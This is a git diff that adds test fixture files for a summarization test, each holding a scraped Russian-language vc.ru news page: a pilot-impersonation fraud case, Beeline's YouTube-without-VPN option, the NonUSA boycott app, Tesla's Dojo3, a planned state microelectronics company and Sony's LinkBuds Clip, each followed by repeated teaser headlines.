раздатка, а инструмент: как мы создаём мерч, который работает на бренд Корпоративный мерч — это уже давно не «раздатка на ивентах». Это базовый минимум, который делают все компании. Но если делать его «для галочки» — получится ещё одна скучная футболка для дачи или кружка, которая пылится на кухне. Показать полностью Альтману вручили повестку прямо на сцене. Теперь глава OpenAI обязан явиться в суд лично Что стоит за беспрецедентной акцией Stop AI против OpenAI и почему она может иметь юридические последствия для Сэма Альтмана. Показать полностью Как купить GitHub Copilot из России в 2025-2026: Способы оплатить подписку Гитхаб Копилот Спросим прямо: вы готовы руками проверять то, что нейросеть делает за секунды? Пока разработчики по всему миру делегируют рутину AI-ассистенту от GitHub, армия специалистов в РФ продолжает писать boilerplate-код по старинке. Вы наверняка заметили, что в последние месяцы разрыв в продуктивности становится угрожающим. Ситуация, будем откровенны, дале… Показать полностью Эффект бумеранга: Почему бывшие топы OpenAI хоронят свои стартапы и возвращаются к Альтману. Реквием по «гаражному AI» Помните 2024-й? Год «Великого исхода». Казалось, OpenAI трещит по швам. Илья Суцкевер ушел искать безопасный суперинтеллект, Андрей Карпаты вернулся в режим соло-хакера, а Мира Мурати, «мама ChatGPT», громко хлопнула дверью, чтобы основать свой Thinking Machines Lab. Показать полностью OpenAI теряет деньги: убытки $44 млрд и возможное поглощение OpenAI стремительно теряют деньги. В 2025 году расходы составили $8 млрд, к 2028-му совокупные убытки могут достичь $44 млрд. Планы выйти на прибыль — только к 2030 году. Показать полностью Разработчик выпустил плагин, который позволяет нейросети «говорить не как ИИ» — он обучил его на статье из «Википедии» о признаках сгенерированного текста Писали её наверняка не для этого. Плагин, который выпустил технический инженер по имени Чэнь Сыци, работает с ИИ-помощником Claude Code от Anthropic и даёт ему указание писать не как ИИ-модель. Об этом пишет ArsTechnica. Показать полностью Хидео Кодзима в Сербии: путешествие с пылесосом в церкви Кодзима в церкви с пылесосом на заднем плане. Сперва подумали ИИ, оказалось Хидео просто путешествует по Сербии. Показать полностью Когда борьба с "волками" превращается в травлю невиновного: история публичных обвинений от руководителя топ-компании В IT-комьюнити разгорелся очередной скандал вокруг Максима Ульянова, руководителя клиентской разработки Rutube. За последние полгода он дважды публично обвинял людей в накрутке опыта, но главная проблема не в ошибках, а в том, что происходит после них. Предыстория: первое увольнение Показать полностью В датском App Store на первое место вышло приложение NonUSA для бойкота американских товаров Причиной этого могли стать заявления президента США Дональда Трампа про Гренландию. Показать полностью Правительство запланировало создать «Объединённую микроэлектронную компанию», чтобы консолидировать государственные и частные активы для создания полного цикла производства чипов — CNews По данным издания, до 2030 года на неё планируют выделить из бюджета 750 млрд рублей, ещё 250 млрд рублей вложит «Сбер». Показать полностью Sony выпустила наушники-клипсы LinkBuds Clip, которые не закрывают ушной канал Стоят $230. Показать полностью Собрал все прогнозы в AI на 2026 год — делюсь выжимкой Последний месяц я читал всё подряд: отчёты Goldman Sachs, Gartner, McKinsey, интервью Дарио Амодеи и Сэма Альтмана, анонсы с CES 2026. Пытался понять, что реально изменится в этом году и что из этого следует для меня и моих клиентов. Показать полностью Акции Ubisoft упали на 30% после отмены шести игр и объявления о реструктуризации И сокращения прогноза по выручке. Показать полностью ChatGPT Go: «народный» тариф за $8 в месяц. Обзор на возможности и лимиты OpenAI без лишнего шума выкатили новый тариф — ChatGPT Go. Цена вопроса — 8 долларов в месяц (примерно 800–900 рублей). Это в 2.5 раза дешевле, чем привычный Plus, но уже не бесплатно. Показать полностью Я управляю fashion-бизнесом 10+ лет и скажу прямо: Россия выпала из глобального fashion-контекста — и это уже необратимо. Прогноз на 2026 Почему мода больше не про вдохновение, fast fashion не умирает, а управлять брендом в России нужно совсем иначе, чем до 2022. Дисклеймер, который обычно не говорят вслух Показать полностью Инженер xAI уволен за раскрытие проекта Macrohard — цифровых двойников офисных сотрудников на мощностях Tesla Сулейман Гхори выдал в подкасте все секреты: от карнавальных разрешений для дата-центров до двухъярусных кроватей в спортзале. Походу, Маск не оценил. Показать полностью +============== diff --git a/tests/summarization/https___vc.ru_offline_2699877-obvineniya-muzhchine-v-ssha-za-moshennichestvo-s-poddelnym-udostovereniem-pilota.txt b/tests/summarization/https___vc.ru_offline_2699877-obvineniya-muzhchine-v-ssha-za-moshennichestvo-s-poddelnym-udostovereniem-pilota.txt new file mode 100644 index 0000000..f439996 --- /dev/null +++ b/tests/summarization/https___vc.ru_offline_2699877-obvineniya-muzhchine-v-ssha-za-moshennichestvo-s-poddelnym-udostovereniem-pilota.txt @@ -0,0 +1,2 @@ +«Напоминает сюжет фильма с ДиКаприо»: в США предъявили обвинения мужчине — тот якобы четыре года выдавал себя за пилота и летал бесплатно Это не первый подобный случай. Источник: alex ohan / Pexels 33-летнего Далласу Покорнику из Торонто, Канада, предъявили обвинения в мошенничестве ещё в октябре 2025 года. Его арестовали в Панаме и экстрадировали в США, сообщила 20 января 2026-го прокуратура США на Гавайях. Как пишет AP, Покорник работал в базирующейся в Торонто авиакомпании бортпроводником с 2017-го по 2019 год. А после якобы сделал поддельное удостоверение и стал представляться пилотом: это позволило ему в течение четырёх лет получить «сотни» бесплатных билетов у трёх разных авиакомпаний. Он даже просил занять дополнительное место в кабинет пилотов, говорится в материалах прокуратуры. Правда, AP отмечает: действительно ли он летал в кабине, из судебных материлов не ясно. Сам мужчина не признал себя виновным. В обвинительном заключении указано, что авиакомпании базируются в Гонолулу, Чикаго и Форт-Уэрте, но их названия не приводятся. Представители Hawaiian Airlines, United Airlines и American Airlines, которые базируются в этих городах, не ответили на запросы AP. Air Canada со штаб-квартирой в Торонто тоже не ответила. Обвинения в адрес Покорника напоминают фильм «Поймай меня, если сможешь» с Леонардо ДиКаприо в главной роли, отмечает AP. Это не первый подобный случай: в июне 2025 года CNN писало, что в США признали виновным 35-летнего Тайрона Александра — тот выдавал себя за бортпроводника или пилота и летал бесплатно. Полина Лааксо Офлайн 05.04.2025 Семейный бизнес: во Франции арестовали отца и сына, которые три года ели в ресторанах на €80-150, но ни разу не заплатили Они не сбегали, а выработали целую схему. #редакция Семейный бизнес: во Франции арестовали отца и сына, которые три года ели в ресторанах на €80-150, но ни разу не заплатили Они не сбегали, а выработали целую схему. Индийский IT-специалист из Нью-Йорка арестован за подработку 💼 Индийский IT-специалист из Нью-Йорка арестован за «подработку» — грозит до 15 лет тюрьмы! Показать полностью Как краснодарские таможенники изъяли 15 тысяч долларов за недекларирование ФТС России рассказывает как краснодарские таможенники изъяли 15 тысяч долларов за недекларирование 25 тысяч наличных долларов при прилете в Россию В ходе… Показать полностью Тревел-агрегаторы соскамились? На днях я покупал сразу несколько авиабилетов. Делал я это через тревел-агрегаторы, и столкнулся вот с чем: Нахожу билет за 49К, собираюсь купить, ввожу все данные... и на самом-самом краешке чекаута мне пишут: "Ой, что-то поменялось, теперь билеты стоят дороже". И не на 1-2 тысячи, а прям разительно: 61К вместо прошлых 49К. Показать полностью «Билайн» добавил для некоторых абонентов опцию «YouTube без VPN» — сервис можно открыть через мобильное приложение оператора Опрошенные РБК эксперты считают, что вскоре у Роскомнадзора могут возникнуть вопросы к компании Показать полностью Я написал спамеру Если концепция кармы хоть немного верна, то мне даже немного жаль спамщиков, они из туалета явно не вылезают, столько пожеланий поноса на их головы льётся ежедневно… Показать полностью Горячая линия Точка Банка для тех, кто хочет разобраться в отчётности и ставках НДС Эксперты бесплатно консультируют предпринимателей по вопросам о налоговой реформе 2026 года. Обратиться можно, даже если счёт открыт в другом банке. Показать полностью Ozon начал бесплатно передавать партнёрам пункты выдачи, которые закрываются, но находятся в «перспективной» локации Чтобы сохранить их для местных жителей и избавить прежних владельцев от «сложного процесса закрытия бизнеса». Показать полностью «Идиот» Маск против «имбецила» О'Лири: из-за чего гендиректор SpaceX и Tesla сцепился с главой лоукостера Ryanair Всё началось со Starlink. Показать полностью Lamborghini отчиталась о рекордном количестве поставленных автомобилей в 2025 году — больше 10 тысяч Летом 2025-го компания представила гибридный спорткар Fenomeno. Показать полностью Тревел-блог из Свальбарда: первые фото и впечатления Привет из самого северного города, южане! Показать полностью Сервис для поиска преподавателей иностранных языков Preply с основателями из Украины привлёк $150 млн и стал «единорогом» Инвесторы оценили стартап в $1,2 млрд. Показать полностью РБК: власти разрабатывают регулирование для курьеров — с региональными реестрами и едиными требованиями к транспорту и форме Курьеры получат идентификаторы и будут нести ответственность за неисполенение заказов и нарушение ПДД. Показать полностью Чеки есть, деньги есть, а управляемости нет Как BI-аналитика помогла фарм-платформе навести порядок в данных и бизнесе Показать полностью +============== diff --git a/tests/summarization/https___vc.ru_services_2699471-biklain-youtube-bez-vpn.txt b/tests/summarization/https___vc.ru_services_2699471-biklain-youtube-bez-vpn.txt new file mode 100644 index 0000000..076fcef --- /dev/null +++ b/tests/summarization/https___vc.ru_services_2699471-biklain-youtube-bez-vpn.txt @@ -0,0 +1,2 @@ +«Билайн» добавил для некоторых абонентов опцию «YouTube без VPN» — сервис можно открыть через мобильное приложение оператора Обновлено в 18:50 мск Некоторые пользователи «Билайна» получили доступ к просмотру YouTube без VPN из-за внутреннего тестирования компании, сейчас этот доступ закрыт, рассказал оператор. Опрошенные РБК эксперты считают, что вскоре у Роскомнадзора могут возникнуть вопросы к компании Фото Bloomberg Опция доступна на тарифе «План б» в приложении «Мой Билайн» — смотреть YouTube можно только через него, рассказал оператор РБК. Приложение стриминга по-прежнему не работает. По словам представителя «Билайна», компания «ведёт работы по настройке сервиса», а функция доступна некоторым клиентам. «Когда сервис будет стабилизирован, мы о нем расскажем», — добавил он, не раскрыв других деталей. Опция «YouTube без VPN» работает благодаря избирательной маршрутизации трафика, пояснил изданию специалист по информационной безопасности Лука Сафонов. Оператор передаёт часть данных через «защищённые каналы» напрямую к видеосервису — по аналогии с VPN. При этом трафик к российским ресурсам передаётся без «дополнительных маршрутов». В ноябре 2025 года оператор также предложил пользователям тарифа «План б» доступ к Netflix, Spotify и другим сервисам, которые не открываются с российских IP-адресов. Предоставление доступа к сервисам, которые не заблокированы в России, вряд ли вызовет вопросы у Роскомнадзора, предположил в разговоре с РБК эксперт телеком-рынка Алексей Учакин. Но поскольку YouTube в стране замедлен, от регулятора есть указания не препятствовать ограничениям и не предлагать клиентам пути обхода, отметил он. Поэтому сколько будет работать решение от «Билайна» — неизвестно. Полина Лааксо Сервисы 30.08.2024 Роскомнадзор потребовал от операторов связи не препятствовать работе ТСПУ — «Ъ» Некоторые пытаются самостоятельно ускорить YouTube для своих абонентов. #новости #билайн #youtube Роскомнадзор потребовал от операторов связи не препятствовать работе ТСПУ — «Ъ» Некоторые пытаются самостоятельно ускорить YouTube для своих абонентов. ChatGPT Go: «народный» тариф за $8 в месяц. Обзор на возможности и лимиты OpenAI без лишнего шума выкатили новый тариф — ChatGPT Go. Цена вопроса — 8 долларов в месяц (примерно 800–900 рублей). Это в 2.5 раза дешевле, чем привычный Plus, но уже не бесплатно. Показать полностью 🚫 Отключат ли интернет в России с 1 марта 2026? Многие паникуют: якобы новое Постановление Правительства РФ №1667 от 27 октября 2025 г. приведёт к полному отключению интернета от всемирной сети. Спойлер: нет, это не так. Показать полностью 10 неприятных вопросов специалисту по ИБ Задали менеджеру продуктов информационной безопасности десять неприятных, но честных вопросов о смысле, пользе и реальной эффективности ИБ Показать полностью В Совфеде подтвердили, что РКН ограничивает в Telegram не только звонки, но и передачу файлов На проблему с их загрузкой пользователи жалуются как минимум с января 2026 года. Роскомнадзор (РКН) вводит ограничения «поэтапно» с августа 2025 года, уточнил зампред совета по развитию цифровой экономики при Совфеде Артём Шейкин. Когда регулятор начал замедлять передачу файлов, он не уточнил. Показать полностью Разработчик выпустил плагин, который позволяет нейросети «говорить не как ИИ» — он обучил его на статье из «Википедии» о признаках сгенерированного текста Писали её наверняка не для этого. Плагин, который выпустил технический инженер по имени Чэнь Сыци, работает с ИИ-помощником Claude Code от Anthropic и даёт ему указание писать не как ИИ-модель. Об этом пишет ArsTechnica. Показать полностью Хидео Кодзима в Сербии: путешествие с пылесосом в церкви Кодзима в церкви с пылесосом на заднем плане. Сперва подумали ИИ, оказалось Хидео просто путешествует по Сербии. Показать полностью В датском App Store на первое место вышло приложение NonUSA для бойкота американских товаров Причиной этого могли стать заявления президента США Дональда Трампа про Гренландию. Показать полностью Как личная экоинициатива объединила клиентов, сотрудников и партнеров Главным результатом стало не только привлечение более 130 участников и тонны собранного мусора, но и живое объединение самых разных людей. Значимым вкладом стало и перечисление 1,2 млн рублей в фонд «Мусора.Больше.Нет». Показать полностью Правительство запланировало создать «Объединённую микроэлектронную компанию», чтобы консолидировать государственные и частные активы для создания полного цикла производства чипов — CNews По данным издания, до 2030 года на неё планируют выделить из бюджета 750 млрд рублей, ещё 250 млрд рублей вложит «Сбер». Показать полностью Sony выпустила наушники-клипсы LinkBuds Clip, которые не закрывают ушной канал Стоят $230. Показать полностью Поиск Google в режиме ИИ для пользователей из России Для пользователей из России Google выкатил поиск в режиме ИИ. Это значит что ответы на ваши запросы теперь будут сразу в диалоговом окне. И не требуется переход на сайт. Всем владельцам сайтов рекомендую приготовиться к очередному падению трафика из поиска. Показать полностью Акции Ubisoft упали на 30% после отмены шести игр и объявления о реструктуризации И сокращения прогноза по выручке. Показать полностью Я управляю fashion-бизнесом 10+ лет и скажу прямо: Россия выпала из глобального fashion-контекста — и это уже необратимо. Прогноз на 2026 Почему мода больше не про вдохновение, fast fashion не умирает, а управлять брендом в России нужно совсем иначе, чем до 2022. Дисклеймер, который обычно не говорят вслух Показать полностью Мечтать не вредно: как десять человек выиграло в лотерею, а две тысячи поверили в чудо Новый год — время загадывать желания и верить в чудо. В преддверии самого волшебного праздника рассказываем, как «Солар» исполнил мечты десяти сотрудников, от нового диджейского оборудования до создания линейки одежды (а потом не удержался, и исполнил еще несколько). Показать полностью Инженер xAI уволен за раскрытие проекта Macrohard — цифровых двойников офисных сотрудников на мощностях Tesla Сулейман Гхори выдал в подкасте все секреты: от карнавальных разрешений для дата-центров до двухъярусных кроватей в спортзале. Походу, Маск не оценил. Показать полностью 4 подхода, которые экономят 10 часов в неделю и не делают тупее: как я заставил ИИ читать за меня Год назад я поставил эксперимент: делегировать чтение и первичный анализ искусственному интеллекту. Цель — не просто сэкономить время, а перестать испытывать когнитивную перегрузку. Сегодня делюсь финалом эксперимента и рабочим стеком, который остался у меня в арсенале. Показать полностью +============== diff --git a/tests/summarization/https___vc.ru_services_2701052-prilozhenie-nonusa-boykot-amerikanskih-tovarov.txt b/tests/summarization/https___vc.ru_services_2701052-prilozhenie-nonusa-boykot-amerikanskih-tovarov.txt new file mode 100644 index 0000000..ca36768 --- /dev/null +++ b/tests/summarization/https___vc.ru_services_2701052-prilozhenie-nonusa-boykot-amerikanskih-tovarov.txt @@ -0,0 +1,2 @@ +В датском App Store на первое место вышло приложение NonUSA для бойкота американских товаров Причиной этого могли стать заявления президента США Дональда Трампа про Гренландию. Источник: скриншот vc.ru Приложение помогает определить, произведён ли конкретный товар в США, а также предлагает местные альтернативы. Ещё одно приложение с похожими функциями, Made O’Meter, занимает третье место в списке. Рост загрузок произошёл на фоне угроз Трампа взять под контроль Гренландию и последовавшего за этим «стихийного бойкота» американских товаров со стороны потребителей в Дании, отмечает TechCrunch. Количество скачиваний NonUSA и Made O’Meter за неделю выросло на 867%. 9 января 2026 года NonUSA занимало лишь 441-ю строчку в рейтинге App Store. При этом количество загрузок в датском App Store, который одновременно обслуживает пользователей в Дании и Гренландии, «невелико» по сравнению с крупными рынками, отмечает издание. Для выхода приложения в топ App Store в Дании может хватить «нескольких тысяч» загрузок за один день. В среднем в местном App Store насчитывается около 200 тысяч скачиваний различных приложений в день. #новости #appstore #дания Мобильное приложение «Лемана ПРО» признано самым популярным в сегменте DIY Мобильное приложение «Лемана ПРО» признано победителем в категории лучших DIY-сервисов по результатам исследования МТС AdTech. Эксперты выделили высокое удобство интерфейса и широкие функциональные возможности, обеспечивающие комфортное обслуживание пользователей на всех этапах — от выбора товаров до оформления покупки и последующего сопровождения. Показать полностью В МТС AdTech назвали самые популярные приложения в ретейле с аудиторией более 99 млн уникальных пользователей Сегмент Food Retail вырос на 26%, Beauty — на 11%, Fashion — на 6%, а трафик в приложениях DIY снизился на 41%. Показать полностью Трамп предлагает по $1 млн жителю Гренландии за голосование Трамп хочет выплатить по $1 млн каждому жителю Гренландии. Условие только одно — проголосовать за присоединение к США. Показать полностью Разработчик выпустил плагин, который позволяет нейросети «говорить не как ИИ» — он обучил его на статье из «Википедии» о признаках сгенерированного текста Писали её наверняка не для этого. Плагин, который выпустил технический инженер по имени Чэнь Сыци, работает с ИИ-помощником Claude Code от Anthropic и даёт ему указание писать не как ИИ-модель. Об этом пишет ArsTechnica. Показать полностью Хидео Кодзима в Сербии: путешествие с пылесосом в церкви Кодзима в церкви с пылесосом на заднем плане. Сперва подумали ИИ, оказалось Хидео просто путешествует по Сербии. Показать полностью Горячая линия Точка Банка для тех, кто хочет разобраться в отчётности и ставках НДС Эксперты бесплатно консультируют предпринимателей по вопросам о налоговой реформе 2026 года. Обратиться можно, даже если счёт открыт в другом банке. Показать полностью Правительство запланировало создать «Объединённую микроэлектронную компанию», чтобы консолидировать государственные и частные активы для создания полного цикла производства чипов — CNews По данным издания, до 2030 года на неё планируют выделить из бюджета 750 млрд рублей, ещё 250 млрд рублей вложит «Сбер». Показать полностью Sony выпустила наушники-клипсы LinkBuds Clip, которые не закрывают ушной канал Стоят $230. Показать полностью Акции Ubisoft упали на 30% после отмены шести игр и объявления о реструктуризации И сокращения прогноза по выручке. Показать полностью ❌ Booking в Турции — ВСЁ. Почему бронировать отели через него больше невыгодно? Если вы бронируете отели в Турции через Booking — вы почти гарантированно переплачиваете. И речь не о «пару тысяч», а о десятках и даже сотнях тысяч рублей за тот же самый отель. Всеми выгодными предложениями я сразу же делюсь в своем канале "смотрим мир с Annét" Показать полностью Я управляю fashion-бизнесом 10+ лет и скажу прямо: Россия выпала из глобального fashion-контекста — и это уже необратимо. Прогноз на 2026 Почему мода больше не про вдохновение, fast fashion не умирает, а управлять брендом в России нужно совсем иначе, чем до 2022. Дисклеймер, который обычно не говорят вслух Показать полностью Инженер xAI уволен за раскрытие проекта Macrohard — цифровых двойников офисных сотрудников на мощностях Tesla Сулейман Гхори выдал в подкасте все секреты: от карнавальных разрешений для дата-центров до двухъярусных кроватей в спортзале. Походу, Маск не оценил. Показать полностью На бесплатную платформу LMArena добавили генерацию видео — доступны Veo 3 и Sora 2 Также запустили соответствующий рейтинг ИИ-моделей. Показать полностью +============== diff --git a/tests/summarization/https___vc.ru_tech_2699508-tesla-vozobnovlyaet-proekt-dojo3.txt b/tests/summarization/https___vc.ru_tech_2699508-tesla-vozobnovlyaet-proekt-dojo3.txt new file mode 100644 index 0000000..ff83dd3 --- /dev/null +++ b/tests/summarization/https___vc.ru_tech_2699508-tesla-vozobnovlyaet-proekt-dojo3.txt @@ -0,0 +1,2 @@ +Tesla возобновит работу над суперкомпьютером Dojo3 — проект свернули летом 2025 года Теперь он будет ориентирован на работу в космосе. Tesla продолжит работу над ранее замороженным проектом Dojo3, заявил глава компании Илон Маск. Он также отметил прогресс в работе над собственным чипом компании AI5. При этом в Dojo3 будут использоваться ещё не выпущенные чипы AI7. На этот раз Dojo3 будет предназначен не для обучения моделей автономного вождения, а для «космических ИИ-вычислений», пишет TechCrunch. Проект Dojo был закрыт в августе 2025 года. До этого из Tesla ушли около 20 сотрудников, которые основали собственную компанию по разработке чипов DensityAI. Её возглавил бывший руководитель Dojo Ганеш Венкатараманан. После закрытия Dojo Tesla планировала «полностью положиться» на внешних партнёров — Nvidia, AMD и Samsung. В июле 2025 года компания заключила сделку с Samsung на поставку чипов на $16,5 млрд до 2033 года. #новости #tesla #dojo Илон Маск против Сэма Альтмана. Война миллиардеров за $800 млрд: как конфликт Маска и Альтмана разрушит рынок ИИ (и кто на этом заработает) Когда бывшие союзники превращаются в заклятых врагов, на кону оказываются не просто репутации — а будущее искусственного интеллекта и сотни миллиардов долларов. На днях капитализация OpenAI обогнала SpaceX, так что ждем новые публичные разборки. История OpenAI и xAI — это шекспировская драма о предательстве, алчности и битве за контрол… Показать полностью OpenAI повсюду: компания стремится встроиться в каждый цифровой интерфейс OpenAI всё чаще ведёт себя не как компания, создающая один успешный продукт, а как структура, претендующая на присутствие во всех точках цифровой среды. То, что начиналось как чат-бот на базе языковой модели, теперь превращается в набор сервисов и платформ, который охватывает браузер, социальную сеть, онлайн-торговлю, магазин приложений и даже буду… Показать полностью Влияние ИИ на найм джунов в DeepMind и Anthropic на Давосе Продолжаем про Давос. Там Хассабис и Амодеи в ходе совместного интервью согласились, что ИИ начинает потихоньку сказываться на найме джунов и в их компаниях. А это все-таки DeepMind и Anthropic, не абы какие компании, далеко не случайных людей нанимающие, совсем не в качестве просто исполнительных рук. Амодеи старался говорить аккуратно: “within An… Показать полностью «Билайн» добавил для некоторых абонентов опцию «YouTube без VPN» — сервис можно открыть через мобильное приложение оператора Опрошенные РБК эксперты считают, что вскоре у Роскомнадзора могут возникнуть вопросы к компании Показать полностью Я написал спамеру Если концепция кармы хоть немного верна, то мне даже немного жаль спамщиков, они из туалета явно не вылезают, столько пожеланий поноса на их головы льётся ежедневно… Показать полностью Горячая линия Точка Банка для тех, кто хочет разобраться в отчётности и ставках НДС Эксперты бесплатно консультируют предпринимателей по вопросам о налоговой реформе 2026 года. Обратиться можно, даже если счёт открыт в другом банке. Показать полностью Ozon начал бесплатно передавать партнёрам пункты выдачи, которые закрываются, но находятся в «перспективной» локации Чтобы сохранить их для местных жителей и избавить прежних владельцев от «сложного процесса закрытия бизнеса». Показать полностью Сервис для поиска преподавателей иностранных языков Preply с основателями из Украины привлёк $150 млн и стал «единорогом» Инвесторы оценили стартап в $1,2 млрд. Показать полностью «Идиот» Маск против «имбецила» О'Лири: из-за чего гендиректор SpaceX и Tesla сцепился с главой лоукостера Ryanair Всё началось со Starlink. Показать полностью Новые MacBook Pro и iPad Pro с чипом M5 от Apple Новые MacBook Pro и iPad Pro уже на сайте Apple. Как и ожидалось, обошлось без большой презентации. Показать полностью Lamborghini отчиталась о рекордном количестве поставленных автомобилей в 2025 году — больше 10 тысяч Летом 2025-го компания представила гибридный спорткар Fenomeno. Показать полностью РБК: власти разрабатывают регулирование для курьеров — с региональными реестрами и едиными требованиями к транспорту и форме Курьеры получат идентификаторы и будут нести ответственность за неисполенение заказов и нарушение ПДД. Показать полностью Чеки есть, деньги есть, а управляемости нет Как BI-аналитика помогла фарм-платформе навести порядок в данных и бизнесе Показать полностью +============== diff --git a/tests/summarization/https___vc.ru_tech_2701146-sozdanie-obedinyonnoy-mikroelektronnoy-kompanii.txt b/tests/summarization/https___vc.ru_tech_2701146-sozdanie-obedinyonnoy-mikroelektronnoy-kompanii.txt new file mode 100644 index 0000000..cbe98ee --- /dev/null +++ b/tests/summarization/https___vc.ru_tech_2701146-sozdanie-obedinyonnoy-mikroelektronnoy-kompanii.txt @@ -0,0 +1,2 @@ +Правительство запланировало создать «Объединённую микроэлектронную компанию», чтобы консолидировать государственные и частные активы для создания полного цикла производства чипов — CNews По данным издания, до 2030 года на неё планируют выделить из бюджета 750 млрд рублей, ещё 250 млрд рублей вложит «Сбер». Фото ТАСС Создание «Объединённой микроэлектронной компании» (ОМК) предусмотрено «новым планом» развития микроэлектроники в России, пишет CNews со ссылкой на собеседников из Минпромторга, двух представителей отрасли и источника, осведомлённого о «совещаниях министерства с президентом». По их словам, до 2030 года на развитие ОМК планируют потратить 1 трлн рублей. Из них 750 млрд рублей выделят из бюджета, а 250 млрд рублей вложит «Сбер». В Минпромторге и «Сбере» на запрос издания не ответили. Деньги направят на «подготовку кадров», развитие инфраструктуры (материалы и оборудование) и создание микроэлектронного производства полного цикла. Последнее будет включать завод по выпуску чипов по технологии 28 нм и меньше. Часть средств направят на развитие предприятия компании «НМ-Тех» в Зеленограде. Стратегию развития ОМК правительство должно утвердить до 1 марта 2026 года, отмечает издание. Её представят в виде отдельного президентского указа. Обсуждать консолидацию основных микроэлектронных активов в отрасли начали ещё осенью 2025 года, утверждает CNews. Объединить планируют в том числе ресурсы «НМ-Теха», «Элемента» и «Ангстрема» — все три занимаются производством полупроводников. По данным издания, источником средств для государственного финансирования станет технологический сбор, который начнут взимать с 1 сентября 2026 года. В правительстве говорили, что деньги с него направят на развитие радио- и микроэлектроники. Ещё одно рабочее название будущей структуры — «Объединённая радиоэлектронная корпорация» (ОРЭК), приводит CNews. Три источника издания рассказали, что возглавить её может глава «Группы Астра» Денис Фролов. #новости Мечтать не вредно: как десять человек выиграло в лотерею, а две тысячи поверили в чудо Новый год — время загадывать желания и верить в чудо. В преддверии самого волшебного праздника рассказываем, как «Солар» исполнил мечты десяти сотрудников, от нового диджейского оборудования до создания линейки одежды (а потом не удержался, и исполнил еще несколько). Показать полностью Техника подорожает: Госдума приняла закон о технологическом сборе В Минпромторге пояснили, что мера необходима для развития отечественной электронной и радиоэлектронной промышленности, а также для укрепления технологического суверенитета. Закон вступит в силу 1 сентября 2026 года. Показать полностью Как личная экоинициатива объединила клиентов, сотрудников и партнеров Главным результатом стало не только привлечение более 130 участников и тонны собранного мусора, но и живое объединение самых разных людей. Значимым вкладом стало и перечисление 1,2 млн рублей в фонд «Мусора.Больше.Нет». Показать полностью Технологический сбор в России: что изменится для рынка электроники с 2026 года Госдума приняла закон о введении технологического сбора, который с 1 сентября 2026 года начнут уплачивать производители и импортеры техники с электронной компонентной базой. Под действие меры попадут как готовые устройства, такие как: смартфоны, ноутбуки, бытовая техника, так и отдельные электронные модули, применяемые в промышленности. Инициатива… Показать полностью В России введут технологический сбор — платить его будут производители и импортеры электроники На сколько подорожают смартфоны Показать полностью Разработчик выпустил плагин, который позволяет нейросети «говорить не как ИИ» — он обучил его на статье из «Википедии» о признаках сгенерированного текста Писали её наверняка не для этого. Плагин, который выпустил технический инженер по имени Чэнь Сыци, работает с ИИ-помощником Claude Code от Anthropic и даёт ему указание писать не как ИИ-модель. Об этом пишет ArsTechnica. Показать полностью Хидео Кодзима в Сербии: путешествие с пылесосом в церкви Кодзима в церкви с пылесосом на заднем плане. Сперва подумали ИИ, оказалось Хидео просто путешествует по Сербии. Показать полностью Горячая линия Точка Банка для тех, кто хочет разобраться в отчётности и ставках НДС Эксперты бесплатно консультируют предпринимателей по вопросам о налоговой реформе 2026 года. Обратиться можно, даже если счёт открыт в другом банке. Показать полностью В датском App Store на первое место вышло приложение NonUSA для бойкота американских товаров Причиной этого могли стать заявления президента США Дональда Трампа про Гренландию. Показать полностью Sony выпустила наушники-клипсы LinkBuds Clip, которые не закрывают ушной канал Стоят $230. Показать полностью Акции Ubisoft упали на 30% после отмены шести игр и объявления о реструктуризации И сокращения прогноза по выручке. Показать полностью ВкусВилл запускает КусьВилл: мороженое и товары для домашних животных «ВкусВилл» запускает «КусьВилл». В ассортименте — мороженое, печенье, тортики для кошек и собак, миски, игрушки, поводки, одежда, уходовые средства, а также дождевики для хозяев. Запуск запланирован на октябрь Показать полностью Я управляю fashion-бизнесом 10+ лет и скажу прямо: Россия выпала из глобального fashion-контекста — и это уже необратимо. Прогноз на 2026 Почему мода больше не про вдохновение, fast fashion не умирает, а управлять брендом в России нужно совсем иначе, чем до 2022. Дисклеймер, который обычно не говорят вслух Показать полностью ChatGPT Go: «народный» тариф за $8 в месяц. Обзор на возможности и лимиты OpenAI без лишнего шума выкатили новый тариф — ChatGPT Go. Цена вопроса — 8 долларов в месяц (примерно 800–900 рублей). Это в 2.5 раза дешевле, чем привычный Plus, но уже не бесплатно. Показать полностью Инженер xAI уволен за раскрытие проекта Macrohard — цифровых двойников офисных сотрудников на мощностях Tesla Сулейман Гхори выдал в подкасте все секреты: от карнавальных разрешений для дата-центров до двухъярусных кроватей в спортзале. Походу, Маск не оценил. Показать полностью На бесплатную платформу LMArena добавили генерацию видео — доступны Veo 3 и Sora 2 Также запустили соответствующий рейтинг ИИ-моделей. Показать полностью +============== diff --git a/tests/summarization/https___vc.ru_tech_2701445-sony-novye-naushniki-linkbuds-clip.txt b/tests/summarization/https___vc.ru_tech_2701445-sony-novye-naushniki-linkbuds-clip.txt new file mode 100644 index 0000000..49f8319 --- /dev/null +++ b/tests/summarization/https___vc.ru_tech_2701445-sony-novye-naushniki-linkbuds-clip.txt @@ -0,0 +1,2 @@ +Sony выпустила наушники-клипсы LinkBuds Clip, которые не закрывают ушной канал Стоят $230. Источник: Sony Компания представила беспроводные наушники-клипсы открытого типа LinkBuds Clip, которые не закрывают ушной канал. Конструкция не давит на внутреннюю часть уха, что потенциально делает их удобными для длительного ношения, пишет The Verge. Заявленное время автономной работы — до девяти часов на одном заряде, вместе с кейсом — до 37 часов. Трёхминутная зарядка обеспечит до часа прослушивания музыки. Наушники поддерживают три режима по касанию: стандартный, усиление голоса для прослушивания в шумной обстановке и «режим подавления утечки звука» — он снижает громкость в тихих местах, чтобы музыка не мешала окружающим. Управлять настройками также можно через приложение с помощью десятиполосного эквалайзера. По словам Sony, наушники поддерживают «отличное качество звонков» с помощью датчика костной проводимости для захвата голоса и системы шумоподавления на базе ИИ, пишет GSMarena. Степень защиты от брызг — IPX4. Есть поддержка Multipoint для подключения к нескольким источникам. Наушники доступны в США по цене $229,99 (около 17,8 тысячи рублей по курсу ЦБ на 22 января 2026 года). В комплекте идут амбушюры для лучшей посадки. Источник: Sony #новости #sony Главное за неделю: CES 2026, переводчик OpenAI, повышение тарифов Apple, умные очки Xiaomi и изображение чёрной дыры в другой галактике Вернулся с каникул и подвожу итоги недели в подкасте Telegram-канала ForGeeks. Расскажу про странные новинки на CES 2026, зачем OpenAI переводчик, надо ли покупать очки Xiaomi и другое. Слушайте новый выпуск, читайте и подписывайтесь на ForGeeks в Telegram. Показать полностью Яндекс показал новую Яндекс станцию 3 поколения Звук в устройстве прокачали, в отличие от станции 